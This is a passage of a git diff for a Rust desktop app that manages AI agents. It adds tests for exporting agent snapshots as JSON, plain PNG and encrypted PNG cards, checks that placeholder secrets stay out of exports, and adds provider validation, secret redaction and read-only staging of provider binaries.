+        let missing = serde_json::json!({"version": 1});
+        let err = parse_chunk_payload(missing.to_string().as_bytes()).unwrap_err();
+        assert!(err.contains("no format discriminator"), "{err}");
+    }
+
+    #[test]
+    fn plaintext_cap_enforced_before_encryption() {
+        let (owner, agent) = owner_agent_keys();
+        let mut snapshot = sample_snapshot();
+        // Inflate the manifest beyond the NIP-44 plaintext limit.
+        snapshot.definition.system_prompt = Some("x".repeat(NIP44_PLAINTEXT_MAX));
+        let err = encrypt_snapshot_envelope(&snapshot, &owner, &agent.public_key()).unwrap_err();
+        assert!(err.contains("too large to lock"), "{err}");
+    }
+
+    #[test]
+    fn ciphertext_and_envelope_caps_enforced_before_crypto() {
+        let (mut env, ..) = locked_envelope();
+        env.encryption.ciphertext = "A".repeat(MAX_LOCKED_CIPHERTEXT_BYTES + 1);
+        assert!(validate_envelope(&env)
+            .unwrap_err()
+            .contains("maximum size"));
+
+        // Oversized envelope JSON is rejected before typed deserialization.
+        let huge = format!(
+            r#"{{"format":"{LOCKED_FORMAT}","version":1,"pad":"{}","encryption":{{}}}}"#,
+            "p".repeat(MAX_LOCKED_ENVELOPE_JSON_BYTES)
+        );
+        let err = parse_chunk_payload(huge.as_bytes()).unwrap_err();
+        assert!(err.contains("maximum size"), "{err}");
+    }
+
+    #[test]
+    fn locked_png_round_trips_through_chunk_and_decrypt() {
+        let (owner, agent) = owner_agent_keys();
+        let snapshot = sample_snapshot();
+        let png = encode_locked_snapshot_png(&snapshot, &owner, &agent.public_key(), None).unwrap();
+
+        let payload = extract_chunk_payload_png(&png).unwrap();
+        let ChunkPayload::Locked(env) = parse_chunk_payload(&payload).unwrap() else {
+            panic!("locked PNG must parse as a locked envelope");
+        };
+        // Both endpoints decrypt to the same logical manifest (compare
+        // manifests, never ciphertext — the NIP-44 nonce is random).
+        assert_eq!(
+            decrypt_envelope(&env, owner.secret_key()).unwrap(),
+            snapshot
+        );
+        assert_eq!(
+            decrypt_envelope(&env, agent.secret_key()).unwrap(),
+            snapshot
+        );
+    }
+
+    #[test]
+    fn plain_manifest_dispatches_to_plain() {
+        let json = encode_snapshot_json(&sample_snapshot()).unwrap();
+        let ChunkPayload::Plain(decoded) = parse_chunk_payload(&json).unwrap() else {
+            panic!("plain manifest must parse as Plain");
+        };
+        assert_eq!(*decoded, sample_snapshot());
+    }
+
+    #[test]
+    fn resolve_unlock_secret_owner_exact_endpoint() {
+        let (env, owner, _agent) = locked_envelope();
+        let secret = resolve_unlock_secret(&env, Some(&owner), &[]).unwrap();
+        assert_eq!(&secret, owner.secret_key());
+
+        // A different identity key is NOT tried.
+        let other = Keys::generate();
+        assert!(resolve_unlock_secret(&env, Some(&other), &[]).is_none());
+        assert!(resolve_unlock_secret(&env, None, &[]).is_none());
+    }
+
+    #[test]
+    fn resolve_unlock_secret_agent_requires_record_and_derived_match() {
+        let (env, _owner, agent) = locked_envelope();
+        let nsec = nostr::ToBech32::to_bech32(agent.secret_key()).unwrap();
+
+        let record = record_with_keys(agent.public_key().to_hex(), nsec);
+        let secret = resolve_unlock_secret(&env, None, std::slice::from_ref(&record)).unwrap();
+        assert_eq!(&secret, agent.secret_key());
+
+        // Record pubkey matches but the stored secret derives a DIFFERENT
+        // pubkey → refused (no trial decryption on mismatched material).
+        let mut forged = record.clone();
+        forged.private_key_nsec =
+            nostr::ToBech32::to_bech32(Keys::generate().secret_key()).unwrap();
+        assert!(resolve_unlock_secret(&env, None, std::slice::from_ref(&forged)).is_none());
+
+        // Record for some other agent → not an endpoint.
+        let mut unrelated = record;
+        unrelated.pubkey = Keys::generate().public_key().to_hex();
+        assert!(resolve_unlock_secret(&env, None, std::slice::from_ref(&unrelated)).is_none());
+    }
+}
diff --git a/desktop/src-tauri/src/managed_agents/agent_snapshot_tests.rs b/desktop/src-tauri/src/managed_agents/agent_snapshot_tests.rs
new file mode 100644
index 0000000000..b4492418e5
--- /dev/null
+++ b/desktop/src-tauri/src/managed_agents/agent_snapshot_tests.rs
@@ -0,0 +1,599 @@
+//! Unit tests for `managed_agents/agent_snapshot.rs`.
+//!
+//! Kept in a sibling file so `agent_snapshot.rs` stays under the
+//! 1000-line gate; `#[path]`-included from there.
+
+use super::*;
+use crate::managed_agents::types::{BackendKind, ManagedAgentRecord, RespondTo};
+use std::collections::BTreeMap;
+
+/// Build a minimal `ManagedAgentRecord` for testing. Only the fields
+/// relevant to snapshot export are filled; the rest use defaults.
+fn minimal_record() -> ManagedAgentRecord {
+    ManagedAgentRecord {
+        pubkey: "deadbeef".to_string(),
+        name: "Test Agent".to_string(),
+        display_name: Some("Test Agent Display".to_string()),
+        persona_id: Some("SENTINEL_PERSONA_ID".to_string()), // MUST NOT appear in snapshot
+        team_id: Some("SENTINEL_TEAM_ID".to_string()),       // MUST NOT appear in snapshot
+        private_key_nsec: "nsec1secret".to_string(),         // MUST NOT appear in snapshot
+        auth_tag: Some("auth-tag-secret".to_string()),       // MUST NOT appear in snapshot
+        relay_url: "wss://relay.example.com".to_string(),    // MUST NOT appear in snapshot
+        avatar_url: Some("https://example.com/avatar.png".to_string()),
+        acp_command: "/usr/local/bin/acp".to_string(), // MUST NOT appear in snapshot
+        agent_command: "goose".to_string(),            // MUST NOT appear in snapshot
+        agent_command_override: Some("goose-override".to_string()), // MUST NOT appear
+        agent_args: vec!["--arg".to_string()],         // MUST NOT appear in snapshot
+        mcp_command: "mcp-server".to_string(),         // MUST NOT appear in snapshot
+        turn_timeout_seconds: 120,                     // deprecated, MUST NOT appear
+        idle_timeout_seconds: Some(30),
+        max_turn_duration_seconds: Some(600),
+        parallelism: 2,
+        system_prompt: Some("You are a test agent.".to_string()),
+        model: Some("claude-opus-4".to_string()),
+        provider: Some("anthropic".to_string()),
+        persona_source_version: Some("v1.0".to_string()), // MUST NOT appear
+        env_vars: {
+            let mut m = BTreeMap::new();
+            m.insert("API_KEY".to_string(), "secret123".to_string()); // MUST NOT appear
+            m
+        },
+        start_on_app_launch: true,
+        auto_restart_on_config_change: true,
+        runtime_pid: Some(12345), // MUST NOT appear
+        backend: BackendKind::Provider {
+            // MUST NOT appear — carries a provider secret
+            id: "SENTINEL_BACKEND_ID".to_string(),
+            config: serde_json::json!({"api_key": "SENTINEL_BACKEND_SECRET"}),
+        },
+        backend_agent_id: Some("SENTINEL_BACKEND_AGENT_ID".to_string()), // MUST NOT appear
+        provider_binary_path: Some("/usr/bin/SENTINEL_PROVIDER_BINARY".to_string()), // MUST NOT appear
+        persona_team_dir: Some(std::path::PathBuf::from("SENTINEL_TEAM_DIR")), // MUST NOT appear
+        persona_name_in_team: Some("SENTINEL_NAME_IN_TEAM".to_string()),       // MUST NOT appear
+        created_at: "2024-01-01T00:00:00Z".to_string(),
+        updated_at: "2024-01-02T00:00:00Z".to_string(),
+        last_started_at: Some("2024-01-03T00:00:00Z".to_string()), // MUST NOT appear
+        last_stopped_at: None,
+        last_exit_code: Some(0), // MUST NOT appear
+        last_error: Some("SENTINEL_LAST_ERROR".to_string()), // MUST NOT appear
+        last_error_code: Some(42), // MUST NOT appear
+        respond_to: RespondTo::default(),
+        respond_to_allowlist: vec!["pubkey1hex".to_string()],
+        slug: Some("test-agent".to_string()),
+        runtime: Some("goose".to_string()),
+        name_pool: vec!["Alice".to_string(), "Bob".to_string()],
+        is_builtin: false,
+        is_active: true,
+        shared: false,
+        source_team: Some("team-id-123".to_string()), // MUST NOT appear
+        source_team_persona_slug: Some("lep".to_string()), // MUST NOT appear
+        definition_respond_to: Some("allowlist".to_string()),
+        catalog_source: None,
+        definition_respond_to_allowlist: vec!["abc123def".to_string()],
+        definition_parallelism: Some(4),
+        relay_mesh: None,
+    }
+}
+
+// ── Round-trip tests ──────────────────────────────────────────────────────
+
+#[test]
+fn json_round_trip_config_only() {
+    let record = minimal_record();
+    let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], None);
+    let bytes = encode_snapshot_json(&snapshot).unwrap();
+    let parsed = decode_snapshot_json(&bytes).unwrap();
+    assert_eq!(parsed, snapshot);
+}
+
+#[test]
+fn json_round_trip_with_memory() {
+    let record = minimal_record();
+    let entries = vec![
+        AgentSnapshotMemoryEntry {
+            slug: "core".to_string(),
+            body: "I am a test agent.".to_string(),
+        },
+        AgentSnapshotMemoryEntry {
+            slug: "mem/research".to_string(),
+            body: "Some research notes.".to_string(),
+        },
+    ];
+    let snapshot = build_snapshot(&record, MemoryLevel::Everything, entries, None);
+    let bytes = encode_snapshot_json(&snapshot).unwrap();
+    let parsed = decode_snapshot_json(&bytes).unwrap();
+    assert_eq!(parsed, snapshot);
+}
+
+#[test]
+fn png_round_trip_no_memory() {
+    let record = minimal_record();
+    let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], None);
+    let png_bytes = encode_snapshot_png(&snapshot, None).unwrap();
+    let parsed = decode_snapshot_png(&png_bytes).unwrap();
+    assert_eq!(parsed.definition.name, snapshot.definition.name);
+    assert_eq!(parsed.profile.display_name, snapshot.profile.display_name);
+    assert_eq!(parsed.memory.level, MemoryLevel::None);
+}
+
+#[test]
+fn png_round_trip_with_avatar_png() {
+    // Build a minimal PNG avatar.
+    let avatar = make_png_with_text("dummy", "value").unwrap();
+    let record = minimal_record();
+    let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], Some(&avatar));
+    // Avatar should be inlined as a data URL.
+    assert!(snapshot
+        .profile
+        .avatar_data_url
+        .as_deref()
+        .unwrap_or("")
+        .starts_with("data:image/png;base64,"));
+
+    let png_bytes = encode_snapshot_png(&snapshot, Some(&avatar)).unwrap();
+    let parsed = decode_snapshot_png(&png_bytes).unwrap();
+    assert_eq!(parsed.definition.name, snapshot.definition.name);
+}
+
+/// Plain-card byte compatibility: `encode_snapshot_png` was refactored
+/// through the shared `encode_chunk_payload_png` when locked cards were
+/// added. Plain cards must emit byte-identical PNGs to the pre-envelope
+/// encoder. This vector reimplements the legacy encoder body verbatim and
+/// asserts equality on all three composition paths: placeholder (no avatar),
+/// PNG-avatar (where tEXt chunk injection ordering matters), and
+/// JPEG-avatar transcode.
+#[test]
+fn plain_encoder_bytes_identical_to_pre_envelope_encoder() {
+    // Verbatim pre-refactor `encode_snapshot_png` body (post memory guard).
+    fn legacy_encode(
+        snapshot: &AgentSnapshot,
+        avatar_bytes: Option<&[u8]>,
+    ) -> Result<Vec<u8>, String> {
+        let json_bytes = encode_snapshot_json(snapshot)?;
+        let chunk_text = STANDARD.encode(&json_bytes);
+        let png_bytes = match avatar_bytes.filter(|bytes| !bytes.is_empty()) {
+            Some(bytes) => {
+                let encoded_avatar = if bytes.starts_with(b"\x89PNG") {
+                    inject_text_chunk(bytes, PNG_CHUNK_KEYWORD, &chunk_text).or_else(|_| {
+                        transcode_avatar_to_png_with_text(bytes, PNG_CHUNK_KEYWORD, &chunk_text)
+                    })
+                } else {
+                    transcode_avatar_to_png_with_text(bytes, PNG_CHUNK_KEYWORD, &chunk_text)
+                };
+                match encoded_avatar {
+                    Ok(png_bytes) => png_bytes,
+                    Err(_) => make_png_with_text(PNG_CHUNK_KEYWORD, &chunk_text)?,
+                }
+            }
+            None => make_png_with_text(PNG_CHUNK_KEYWORD, &chunk_text)?,
+        };
+        Ok(png_bytes)
+    }
+
+    let record = minimal_record();
+
+    // Placeholder path (no avatar).
+    let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], None);
+    assert_eq!(
+        encode_snapshot_png(&snapshot, None).unwrap(),
+        legacy_encode(&snapshot, None).unwrap(),
+        "placeholder-path plain PNG bytes must match the pre-envelope encoder"
+    );
+
+    // PNG-avatar path: chunk injected into the avatar image body.
+    let avatar = make_png_with_text("dummy", "value").unwrap();
+    let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], Some(&avatar));
+    assert_eq!(
+        encode_snapshot_png(&snapshot, Some(&avatar)).unwrap(),
+        legacy_encode(&snapshot, Some(&avatar)).unwrap(),
+        "avatar-path plain PNG bytes must match the pre-envelope encoder"
+    );
+
+    // JPEG-avatar path: transcode-to-PNG composition.
+    let jpeg_avatar = image::DynamicImage::ImageRgb8(image::RgbImage::from_pixel(
+        4,
+        4,
+        image::Rgb([0x10, 0x20, 0x30]),
+    ));
+    let mut jpeg_bytes = Vec::new();
+    jpeg_avatar
+        .write_to(&mut Cursor::new(&mut jpeg_bytes), image::ImageFormat::Jpeg)
+        .unwrap();
+    let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], Some(&jpeg_bytes));
+    assert_eq!(
+        encode_snapshot_png(&snapshot, Some(&jpeg_bytes)).unwrap(),
+        legacy_encode(&snapshot, Some(&jpeg_bytes)).unwrap(),
+        "transcode-path plain PNG bytes must match the pre-envelope encoder"
+    );
+}
+
+#[test]
+fn png_snapshot_transcodes_jpeg_avatar_into_image_body() {
+    let avatar = image::DynamicImage::ImageRgb8(image::RgbImage::from_pixel(
+        3,
+        2,
+        image::Rgb([0x12, 0x34, 0x56]),
+    ));
+    let mut jpeg_bytes = Vec::new();
+    avatar
+        .write_to(&mut Cursor::new(&mut jpeg_bytes), image::ImageFormat::Jpeg)
+        .unwrap();
+
+    let snapshot = build_snapshot(
+        &minimal_record(),
+        MemoryLevel::None,
+        vec![],
+        Some(&jpeg_bytes),
+    );
+    let png_bytes = encode_snapshot_png(&snapshot, Some(&jpeg_bytes)).unwrap();
+    let decoder = Decoder::new(Cursor::new(png_bytes));
+    let reader = decoder.read_info().unwrap();
+
+    assert_eq!((reader.info().width, reader.info().height), (3, 2));
+}
+
+// ── PNG memory parity ─────────────────────────────────────────────────────
+
+#[test]
+fn png_round_trip_with_core_memory() {
+    let record = minimal_record();
+    let entries = vec![AgentSnapshotMemoryEntry {
+        slug: "core".to_string(),
+        body: "remember this".to_string(),
+    }];
+    let snapshot = build_snapshot(&record, MemoryLevel::Core, entries, None);
+
+    let png_bytes = encode_snapshot_png(&snapshot, None).unwrap();
+    let parsed = decode_snapshot_png(&png_bytes).unwrap();
+
+    assert_eq!(parsed.memory, snapshot.memory);
+}
+
+#[test]
+fn png_round_trip_with_everything_memory() {
+    let record = minimal_record();
+    let entries = vec![
+        AgentSnapshotMemoryEntry {
+            slug: "core".to_string(),
+            body: "remember this".to_string(),
+        },
+        AgentSnapshotMemoryEntry {
+            slug: "mem/notes".to_string(),
+            body: "private notes".to_string(),
+        },
+    ];
+    let snapshot = build_snapshot(&record, MemoryLevel::Everything, entries, None);
+
+    let png_bytes = encode_snapshot_png(&snapshot, None).unwrap();
+    let parsed = decode_snapshot_png(&png_bytes).unwrap();
+
+    assert_eq!(parsed.memory, snapshot.memory);
+}
+
+#[test]
+fn png_export_with_no_memory_succeeds() {
+    let record = minimal_record();
+    let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], None);
+    assert!(encode_snapshot_png(&snapshot, None).is_ok());
+}
+
+#[test]
+fn png_export_rejects_none_level_with_nonempty_entries() {
+    // Inconsistent state: level == None but entries is non-empty.
+    // The encoder must reject this to prevent a memory-leak bypass.
+    let record = minimal_record();
+    let entries = vec![AgentSnapshotMemoryEntry {
+        slug: "core".to_string(),
+        body: "leaked memory".to_string(),
+    }];
+    // Build with entries, then override level to None in the struct.
+    let mut snapshot = build_snapshot(&record, MemoryLevel::Core, entries, None);
+    snapshot.memory.level = MemoryLevel::None; // force inconsistency
+    let result = encode_snapshot_png(&snapshot, None);
+    assert!(
+        result.is_err(),
+        "PNG encoder must reject level=None with non-empty entries"
+    );
+    assert!(
+        result
+            .unwrap_err()
+            .contains("memory.level 'none' and non-empty memory entries"),
+        "Error must explain the malformed memory state"
+    );
+}
+
+// ── Secret exclusion tests ────────────────────────────────────────────────
+//
+// These tests assert that every field in the exclusion list is absent from
+// the serialized snapshot. We serialize to JSON and assert the key is NOT
+// present.
+
+fn snapshot_json_string(record: &ManagedAgentRecord) -> String {
+    let snapshot = build_snapshot(record, MemoryLevel::None, vec![], None);
+    let bytes = encode_snapshot_json(&snapshot).unwrap();
+    String::from_utf8(bytes).unwrap()
+}
+
+#[test]
+fn secret_exclusion_private_key_nsec_absent() {
+    let record = minimal_record();
+    let json = snapshot_json_string(&record);
+    assert!(
+        !json.contains("nsec1secret"),
+        "nsec must not appear in snapshot"
+    );
+    assert!(
+        !json.contains("privateKeyNsec") && !json.contains("private_key_nsec"),
+        "privateKeyNsec field must not appear in snapshot"
+    );
+}
+
+#[test]
+fn secret_exclusion_auth_tag_absent() {
+    let record = minimal_record();
+    let json = snapshot_json_string(&record);
+    assert!(
+        !json.contains("auth-tag-secret"),
+        "auth_tag value must not appear in snapshot"
+    );
+    assert!(
+        !json.contains("authTag") && !json.contains("auth_tag"),
+        "authTag field must not appear in snapshot"
+    );
+}
+
+#[test]
+fn secret_exclusion_env_vars_absent() {
+    let record = minimal_record();
+    let json = snapshot_json_string(&record);
+    assert!(
+        !json.contains("API_KEY") && !json.contains("secret123"),
+        "env_vars content must not appear in snapshot"
+    );
+    assert!(
+        !json.contains("envVars") && !json.contains("env_vars"),
+        "envVars field must not appear in snapshot"
+    );
+}
+
+#[test]
+fn secret_exclusion_relay_url_absent() {
+    let record = minimal_record();
+    let json = snapshot_json_string(&record);
+    assert!(
+        !json.contains("wss://relay.example.com"),
+        "relay_url value must not appear in snapshot"
+    );
+    assert!(
+        !json.contains("relayUrl") && !json.contains("relay_url"),
+        "relayUrl field must not appear in snapshot"
+    );
+}
+
+#[test]
+fn snapshot_omits_removed_mcp_toolsets_config() {
+    let record = minimal_record();
+    let json = snapshot_json_string(&record);
+    assert!(
+        !json.contains("mcpToolsets") && !json.contains("mcp_toolsets"),
+        "removed MCP toolsets config must not re-enter snapshots"
+    );
+}
+
+#[test]
+fn secret_exclusion_machine_commands_absent() {
+    let record = minimal_record();
+    let json = snapshot_json_string(&record);
+    // acp_command / agent_command / agent_command_override / agent_args / mcp_command
+    assert!(
+        !json.contains("/usr/local/bin/acp"),
+        "acp_command path must not appear"
+    );
+    assert!(
+        !json.contains("acpCommand") && !json.contains("acp_command"),
+        "acpCommand field must not appear"
+    );
+    assert!(
+        !json.contains("agentCommand") && !json.contains("agent_command"),
+        "agentCommand field must not appear"
+    );
+    assert!(
+        !json.contains("mcpCommand") && !json.contains("mcp_command"),
+        "mcpCommand field must not appear"
+    );
+}
+
+#[test]
+fn secret_exclusion_runtime_state_absent() {
+    let record = minimal_record();
+    let json = snapshot_json_string(&record);
+    assert!(
+        !json.contains("runtimePid") && !json.contains("runtime_pid"),
+        "runtimePid must not appear"
+    );
+    assert!(
+        !json.contains("backendAgentId") && !json.contains("backend_agent_id"),
+        "backendAgentId must not appear"
+    );
+    assert!(
+        !json.contains("SENTINEL_BACKEND_AGENT_ID"),
+        "backendAgentId value must not appear"
+    );
+    assert!(
+        !json.contains("providerBinaryPath") && !json.contains("provider_binary_path"),
+        "providerBinaryPath must not appear"
+    );
+    assert!(
+        !json.contains("SENTINEL_PROVIDER_BINARY"),
+        "providerBinaryPath value must not appear"
+    );
+    assert!(
+        !json.contains("lastStartedAt") && !json.contains("last_started_at"),
+        "lastStartedAt must not appear"
+    );
+    assert!(
+        !json.contains("lastExitCode") && !json.contains("last_exit_code"),
+        "lastExitCode must not appear"
+    );
+    // backend blob — neither the type tag nor provider secret must leak.
+    assert!(
+        !json.contains("\"backend\"") && !json.contains("backend"),
+        "backend field must not appear"
+    );
+    assert!(
+        !json.contains("SENTINEL_BACKEND_ID") && !json.contains("SENTINEL_BACKEND_SECRET"),
+        "backend config values must not appear"
+    );
+    // last_error / last_error_code
+    assert!(
+        !json.contains("lastError") && !json.contains("last_error"),
+        "lastError must not appear"
+    );
+    assert!(
+        !json.contains("SENTINEL_LAST_ERROR"),
+        "lastError value must not appear"
+    );
+    assert!(
+        !json.contains("lastErrorCode") && !json.contains("last_error_code"),
+        "lastErrorCode must not appear"
+    );
+}
+
+#[test]
+fn secret_exclusion_lineage_ids_absent() {
+    let record = minimal_record();
+    let json = snapshot_json_string(&record);
+    assert!(
+        !json.contains("team-id-123"),
+        "source_team value must not appear"
+    );
+    assert!(
+        !json.contains("sourceTeam") && !json.contains("source_team"),
+        "sourceTeam field must not appear"
+    );
+    assert!(
+        !json.contains("sourceTeamPersonaSlug"),
+        "sourceTeamPersonaSlug must not appear"
+    );
+    assert!(
+        !json.contains("personaSourceVersion") && !json.contains("persona_source_version"),
+        "personaSourceVersion must not appear"
+    );
+    // personaId
+    assert!(
+        !json.contains("personaId") && !json.contains("persona_id"),
+        "personaId field must not appear"
+    );
+    assert!(
+        !json.contains("SENTINEL_PERSONA_ID"),
+        "personaId value must not appear"
+    );
+    // teamId
+    assert!(
+        !json.contains("teamId") && !json.contains("team_id"),
+        "teamId field must not appear"
+    );
+    assert!(
+        !json.contains("SENTINEL_TEAM_ID"),
+        "teamId value must not appear"
+    );
+    // personaTeamDir
+    assert!(
+        !json.contains("personaTeamDir") && !json.contains("persona_team_dir"),
+        "personaTeamDir field must not appear"
+    );
+    assert!(
+        !json.contains("SENTINEL_TEAM_DIR"),
+        "personaTeamDir value must not appear"
+    );
+    // personaNameInTeam
+    assert!(
+        !json.contains("personaNameInTeam") && !json.contains("persona_name_in_team"),
+        "personaNameInTeam field must not appear"
+    );
+    assert!(
+        !json.contains("SENTINEL_NAME_IN_TEAM"),
+        "personaNameInTeam value must not appear"
+    );
+}
+
+// ── Definition field presence tests ──────────────────────────────────────
+
+#[test]
+fn definition_fields_present_in_snapshot() {
+    let record = minimal_record();
+    let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], None);
+
+    assert_eq!(snapshot.definition.name, "Test Agent Display");
+    assert!(!snapshot.definition.source_is_builtin);
+    assert_eq!(
+        snapshot.definition.system_prompt.as_deref(),
+        Some("You are a test agent.")
+    );
+    assert_eq!(snapshot.definition.runtime.as_deref(), Some("goose"));
+    assert_eq!(snapshot.definition.model.as_deref(), Some("claude-opus-4"));
+    assert_eq!(snapshot.definition.provider.as_deref(), Some("anthropic"));
+    assert_eq!(snapshot.definition.name_pool, vec!["Alice", "Bob"]);
+    // definition_respond_to maps to respond_to in the snapshot definition
+    assert_eq!(snapshot.definition.respond_to.as_deref(), Some("allowlist"));
+    // definition_respond_to_allowlist should be included
+    assert!(!snapshot.definition.respond_to_allowlist.is_empty());
+}
+
+#[test]
+fn profile_fields_present_in_snapshot() {
+    let record = minimal_record();
+    let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], None);
+    assert_eq!(snapshot.profile.display_name, "Test Agent Display");
+    // No bytes → should fall back to avatar_url
+    assert_eq!(
+        snapshot.profile.avatar_url.as_deref(),
+        Some("https://example.com/avatar.png")
+    );
+    assert!(snapshot.profile.avatar_data_url.is_none());
+}
+
+#[test]
+fn avatar_inlined_when_under_size_limit() {
+    let record = minimal_record();
+    let small_png = make_png_with_text("k", "v").unwrap();
+    let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], Some(&small_png));
+    assert!(snapshot.profile.avatar_data_url.is_some());
+    assert!(snapshot.profile.avatar_url.is_none());
+}
+
+#[test]
+fn avatar_url_fallback_when_over_size_limit() {
+    let mut record = minimal_record();
+    record.avatar_url = Some("https://example.com/big.png".to_string());
+    // Synthesize oversized avatar bytes (> 2 MB) — just a large zeroed vec.
+    let big_bytes = vec![0u8; MAX_AVATAR_INLINE_BYTES + 1];
+    let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], Some(&big_bytes));
+    assert!(snapshot.profile.avatar_data_url.is_none());
+    assert_eq!(
+        snapshot.profile.avatar_url.as_deref(),
+        Some("https://example.com/big.png")
+    );
+}
+
+// ── Format/version validation ─────────────────────────────────────────────
+
+#[test]
+fn invalid_format_discriminator_is_rejected() {
+    let mut snapshot = build_snapshot(&minimal_record(), MemoryLevel::None, vec![], None);
+    snapshot.format = "not-a-buzz-snapshot".to_string();
+    let bytes = serde_json::to_vec(&snapshot).unwrap();
+    let result = decode_snapshot_json(&bytes);
+    assert!(result.is_err());
+    assert!(result.unwrap_err().contains("Unsupported snapshot format"));
+}
+
+#[test]
+fn unsupported_version_is_rejected() {
+    let mut snapshot = build_snapshot(&minimal_record(), MemoryLevel::None, vec![], None);
+    snapshot.version = 99;
+    let bytes = serde_json::to_vec(&snapshot).unwrap();
+    let result = decode_snapshot_json(&bytes);
+    assert!(result.is_err());
+    assert!(result.unwrap_err().contains("Unsupported snapshot version"));
+}
diff --git a/desktop/src-tauri/src/managed_agents/backend.rs b/desktop/src-tauri/src/managed_agents/backend.rs
index 5debae41cb..84dd7e99da 100644
--- a/desktop/src-tauri/src/managed_agents/backend.rs
+++ b/desktop/src-tauri/src/managed_agents/backend.rs
@@ -1,3 +1,4 @@
+use sha2::{Digest, Sha256};
 use std::io::{BufReader, Read, Write};
 use std::path::{Path, PathBuf};
 use std::sync::mpsc;
@@ -7,6 +8,61 @@ const STDERR_CAP: usize = 65536;
 /// Provider responses should be small JSON objects. Cap stdout to prevent a
 /// buggy or malicious provider from OOM-ing the desktop process.
 const STDOUT_CAP: usize = 1_048_576; // 1 MB
+const PROVIDER_PROTOCOL_VERSION: u64 = 1;
+
+fn validate_provider_info(info: &serde_json::Value) -> Result<(), String> {
+    let object = info
+        .as_object()
+        .ok_or_else(|| "provider info response must be a JSON object".to_string())?;
+    let actual_version = object
+        .get("protocol_version")
+        .and_then(serde_json::Value::as_u64);
+    if actual_version != Some(PROVIDER_PROTOCOL_VERSION) {
+        return Err(match actual_version {
+            Some(version) => format!(
+                "unsupported provider protocol version {version}; desktop requires {PROVIDER_PROTOCOL_VERSION}"
+            ),
+            None => "provider info response missing integer protocol_version".to_string(),
+        });
+    }
+    if object.get("ok") != Some(&serde_json::Value::Bool(true)) {
+        return Err("provider info response must contain ok: true".to_string());
+    }
+    for field in ["name", "version", "description"] {
+        if object
+            .get(field)
+            .is_none_or(|value| value.as_str().is_none_or(str::is_empty))
+        {
+            return Err(format!(
+                "provider info response missing non-empty string {field}"
+            ));
+        }
+    }
+    if !object
+        .get("config_schema")
+        .is_some_and(serde_json::Value::is_object)
+    {
+        return Err("provider info response missing object config_schema".to_string());
+    }
+
+    const FIELDS: &[&str] = &[
+        "ok",
+        "name",
+        "version",
+        "protocol_version",
+        "description",
+        "config_schema",
+    ];
+    if let Some(field) = object
+        .keys()
+        .find(|field| !FIELDS.contains(&field.as_str()))
+    {
+        return Err(format!(
+            "provider info response contains unknown field {field}"
+        ));
+    }
+    Ok(())
+}
 
 /// Invoke a provider binary: write JSON to stdin, read JSON from stdout.
 ///
@@ -333,23 +389,29 @@ pub(crate) fn redact_secrets_with(s: &str, extras: &[&str]) -> String {
     result
 }
 
-/// Collect string values from `request["agent"]["env_vars"]` (if present)
-/// to feed into [`redact_secrets_with`]. Returns an empty Vec if the
-/// request shape doesn't match, which is fine — falls back to the default
-/// prefix-based scrubbing.
+/// Collect string values from every environment map a deploy request can
+/// carry. Providers may echo any of these values in diagnostics, including
+/// definition/baked values that exist only in the resolved launch block.
 fn env_secrets_from_request(request: &serde_json::Value) -> Vec<String> {
-    request
-        .get("agent")
-        .and_then(|a| a.get("env_vars"))
-        .and_then(|e| e.as_object())
-        .map(|obj| {
-            obj.values()
-                .filter_map(|v| v.as_str())
-                .filter(|s| !s.is_empty())
-                .map(String::from)
-                .collect()
-        })
-        .unwrap_or_default()
+    let agent = request.get("agent");
+    let maps = [
+        agent.and_then(|value| value.get("env_vars")),
+        agent
+            .and_then(|value| value.get("launch"))
+            .and_then(|value| value.get("env")),
+        agent
+            .and_then(|value| value.get("launch"))
+            .and_then(|value| value.get("policy_env")),
+    ];
+
+    maps.into_iter()
+        .flatten()
+        .filter_map(serde_json::Value::as_object)
+        .flat_map(|map| map.values())
+        .filter_map(serde_json::Value::as_str)
+        .filter(|value| !value.is_empty())
+        .map(String::from)
+        .collect()
 }
 
 /// Public-in-crate helper: redact every non-empty value from `env` (plus
@@ -368,22 +430,102 @@ pub(crate) fn redact_env_values_in(
     redact_secrets_with(s, &values)
 }
 
-/// Deploy an agent via provider binary. Returns the provider-assigned agent_id.
-///
-/// `request_id` is included for provider-side logging/correlation but is not
-/// validated in the response — the stdin→stdout exchange is 1:1 per process.
+/// Copy a resolved provider into a private staging directory while hashing
+/// exactly the bytes copied. The staged file becomes non-writable before either
+/// invocation, closing the path replacement and in-place rewrite races.
+fn stage_provider(
+    binary: &Path,
+) -> Result<(tempfile::TempDir, PathBuf, String, std::fs::File), String> {
+    let directory = tempfile::Builder::new()
+        .prefix("buzz-provider-")
+        .tempdir()
+        .map_err(|error| format!("failed to create provider staging directory: {error}"))?;
+    let suffix = if cfg!(windows) { ".exe" } else { "" };
+    let staged_path = directory.path().join(format!("provider{suffix}"));
+    let mut source = std::fs::File::open(binary)
+        .map_err(|error| format!("failed to open provider for staging: {error}"))?;
+    let mut staged = std::fs::OpenOptions::new()
+        .write(true)
+        .create_new(true)
+        .open(&staged_path)
+        .map_err(|error| format!("failed to create staged provider: {error}"))?;
+    let mut hasher = Sha256::new();
+    let mut buffer = [0_u8; 64 * 1024];
+    loop {
+        let count = source
+            .read(&mut buffer)
+            .map_err(|error| format!("failed to read provider for staging: {error}"))?;
+        if count == 0 {
+            break;
+        }
+        staged
+            .write_all(&buffer[..count])
+            .map_err(|error| format!("failed to write staged provider: {error}"))?;
+        hasher.update(&buffer[..count]);
+    }
+    staged
+        .sync_all()
+        .map_err(|error| format!("failed to sync staged provider: {error}"))?;
+
+    let mut permissions = staged
+        .metadata()
+        .map_err(|error| format!("failed to inspect staged provider: {error}"))?
+        .permissions();
+    #[cfg(unix)]
+    {
+        use std::os::unix::fs::PermissionsExt;
+        permissions.set_mode(0o500);
+    }
+    #[cfg(not(unix))]
+    permissions.set_readonly(true);
+    std::fs::set_permissions(&staged_path, permissions)
+        .map_err(|error| format!("failed to protect staged provider: {error}"))?;
+    drop(staged);
+
+    #[cfg(windows)]
